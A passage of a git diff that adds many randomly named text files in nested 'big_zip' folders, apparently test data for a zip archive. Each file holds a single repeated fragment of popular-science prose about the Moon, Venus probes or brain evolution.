+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_wkviotlqahpsiyakvkraprsy.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_ybvobzrfnqobm.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_ybvobzrfnqobm.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_ybvobzrfnqobm.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_bdwqczeegkdjiyeiyfak.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_bdwqczeegkdjiyeiyfak.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_bdwqczeegkdjiyeiyfak.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_bwkslqxmj.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_bwkslqxmj.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_bwkslqxmj.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_ctzflqqdrs.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_ctzflqqdrs.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_ctzflqqdrs.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_dzaoyhwsfwnbj.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_dzaoyhwsfwnbj.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_dzaoyhwsfwnbj.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_hpczvvnbrruyzor.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_hpczvvnbrruyzor.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_hpczvvnbrruyzor.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_jgwzoqsyfhvsh.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_jgwzoqsyfhvsh.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_jgwzoqsyfhvsh.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_julsoaxblyl.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_julsoaxblyl.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_julsoaxblyl.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_kgicbpyagyrrrefs.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_kgicbpyagyrrrefs.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_kgicbpyagyrrrefs.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_khbnpabxchksyumosnqr.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_khbnpabxchksyumosnqr.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_khbnpabxchksyumosnqr.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_kvadhdimlqfutdjiekjlw.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_kvadhdimlqfutdjiekjlw.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_kvadhdimlqfutdjiekjlw.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_kxkdgnkgbdtzvjebnypowssx.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_kxkdgnkgbdtzvjebnypowssx.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_kxkdgnkgbdtzvjebnypowssx.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_lnpjwqdmolocwto.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_lnpjwqdmolocwto.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_lnpjwqdmolocwto.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_mjdijrdphwmqozdzfcdm.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_mjdijrdphwmqozdzfcdm.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_mjdijrdphwmqozdzfcdm.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_mthertqt.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_mthertqt.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_mthertqt.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_nplxoejmkfadimktczy.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_nplxoejmkfadimktczy.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_nplxoejmkfadimktczy.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_qtanfznelyqg.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_qtanfznelyqg.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_qtanfznelyqg.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_rdxsskid.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_rdxsskid.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_rdxsskid.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_vxatgofplbxhontzzgbzsgtu.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_vxatgofplbxhontzzgbzsgtu.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_vxatgofplbxhontzzgbzsgtu.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_xsjpytvhdzjqruimacpvyr.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_xsjpytvhdzjqruimacpvyr.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_xsjpytvhdzjqruimacpvyr.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_ybwjigrsjddzncydknouxum.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_ybwjigrsjddzncydknouxum.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_ybwjigrsjddzncydknouxum.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_yqsqmjmepgnptzbutfascmx.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_yqsqmjmepgnptzbutfascmx.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_yqsqmjmepgnptzbutfascmx.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_zfcjidmnfzbcmur.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_zfcjidmnfzbcmur.txt
new file mode 100644
index 0000000..276680e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/file_zfcjidmnfzbcmur.txt
@@ -0,0 +1 @@
+small Martians are inferred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_btkbnjefetwyuxnjgwfo.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_btkbnjefetwyuxnjgwfo.txt
new file mode 100644
index 0000000..5d467c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_btkbnjefetwyuxnjgwfo.txt
@@ -0,0 +1 @@
+vehicles, Veneras 11 and 12, gave an abundance of about a hundredth of a percent. If the former value
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_gfuzddpyxqyve.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_gfuzddpyxqyve.txt
new file mode 100644
index 0000000..5d467c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_gfuzddpyxqyve.txt
@@ -0,0 +1 @@
+vehicles, Veneras 11 and 12, gave an abundance of about a hundredth of a percent. If the former value
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_gynyxizvowgccslpupsagpqk.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_gynyxizvowgccslpupsagpqk.txt
new file mode 100644
index 0000000..5d467c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_gynyxizvowgccslpupsagpqk.txt
@@ -0,0 +1 @@
+vehicles, Veneras 11 and 12, gave an abundance of about a hundredth of a percent. If the former value
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_magdnoaqfvllimqcahpw.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_magdnoaqfvllimqcahpw.txt
new file mode 100644
index 0000000..5d467c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_magdnoaqfvllimqcahpw.txt
@@ -0,0 +1 @@
+vehicles, Veneras 11 and 12, gave an abundance of about a hundredth of a percent. If the former value
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_qwuoqvcbnrdhumihlx.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_qwuoqvcbnrdhumihlx.txt
new file mode 100644
index 0000000..5d467c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_qwuoqvcbnrdhumihlx.txt
@@ -0,0 +1 @@
+vehicles, Veneras 11 and 12, gave an abundance of about a hundredth of a percent. If the former value
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_uwjdmfugwbcknk.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_uwjdmfugwbcknk.txt
new file mode 100644
index 0000000..5d467c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_uwjdmfugwbcknk.txt
@@ -0,0 +1 @@
+vehicles, Veneras 11 and 12, gave an abundance of about a hundredth of a percent. If the former value
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_wsnruruxpfbrjml.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_wsnruruxpfbrjml.txt
new file mode 100644
index 0000000..5d467c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_wsnruruxpfbrjml.txt
@@ -0,0 +1 @@
+vehicles, Veneras 11 and 12, gave an abundance of about a hundredth of a percent. If the former value
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_wyanqztskbmt.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_wyanqztskbmt.txt
new file mode 100644
index 0000000..5d467c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_wyanqztskbmt.txt
@@ -0,0 +1 @@
+vehicles, Veneras 11 and 12, gave an abundance of about a hundredth of a percent. If the former value
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_ydifrvqeugtklmrltpuuejt.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_ydifrvqeugtklmrltpuuejt.txt
new file mode 100644
index 0000000..5d467c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_ydifrvqeugtklmrltpuuejt.txt
@@ -0,0 +1 @@
+vehicles, Veneras 11 and 12, gave an abundance of about a hundredth of a percent. If the former value
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_zjtxbapojwughiikfvfvvx.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_zjtxbapojwughiikfvfvvx.txt
new file mode 100644
index 0000000..5d467c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/file_zjtxbapojwughiikfvfvvx.txt
@@ -0,0 +1 @@
+vehicles, Veneras 11 and 12, gave an abundance of about a hundredth of a percent. If the former value
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/cghrjphngvosrdwyhyy.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/cghrjphngvosrdwyhyy.txt
new file mode 100644
index 0000000..a5797cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/cghrjphngvosrdwyhyy.txt
@@ -0,0 +1 @@
+show them likely to be immense distances away. They seem to partake vigorously in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_adrtjracrpbubc.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_adrtjracrpbubc.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_adrtjracrpbubc.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_bzkvcomzh.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_bzkvcomzh.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_bzkvcomzh.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_dakgwaadzukrdpmvenjpo.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_dakgwaadzukrdpmvenjpo.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_dakgwaadzukrdpmvenjpo.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_dvqztdher.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_dvqztdher.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_dvqztdher.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_fhqjlxgfivdf.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_fhqjlxgfivdf.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_fhqjlxgfivdf.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_hgrsaasg.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_hgrsaasg.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_hgrsaasg.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_jtlweuscs.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_jtlweuscs.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_jtlweuscs.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_lcwaaiuqxdla.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_lcwaaiuqxdla.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_lcwaaiuqxdla.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_nbrwdrlthud.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_nbrwdrlthud.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_nbrwdrlthud.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_oijospsycfhwcumghfyhxl.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_oijospsycfhwcumghfyhxl.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_oijospsycfhwcumghfyhxl.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_ontwsgeoaaybmcbx.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_ontwsgeoaaybmcbx.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_ontwsgeoaaybmcbx.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_rsgkqmtfyvbev.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_rsgkqmtfyvbev.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_rsgkqmtfyvbev.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_vgiypilziiftcqxgk.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_vgiypilziiftcqxgk.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_vgiypilziiftcqxgk.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_whvswwqbmnyxf.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_whvswwqbmnyxf.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_whvswwqbmnyxf.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_wwpkcousmbwefftw.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_wwpkcousmbwefftw.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_wwpkcousmbwefftw.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_xfvzywczocazyrpbxzpx.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_xfvzywczocazyrpbxzpx.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_xfvzywczocazyrpbxzpx.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_zsnukzevtkxnidfemn.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_zsnukzevtkxnidfemn.txt
new file mode 100644
index 0000000..4324cce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/file_zsnukzevtkxnidfemn.txt
@@ -0,0 +1 @@
+the brain evolved in three successive stages. Capping the brainstem is the R-complex, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/lqklpwoghoxykzvuubmaqjp.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/lqklpwoghoxykzvuubmaqjp.txt
new file mode 100644
index 0000000..d022212
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/lqklpwoghoxykzvuubmaqjp.txt
@@ -0,0 +1 @@
+and then mysteriously failed. In 1973, a quite similar sequence of events occurred with the
\ No newline at end of file
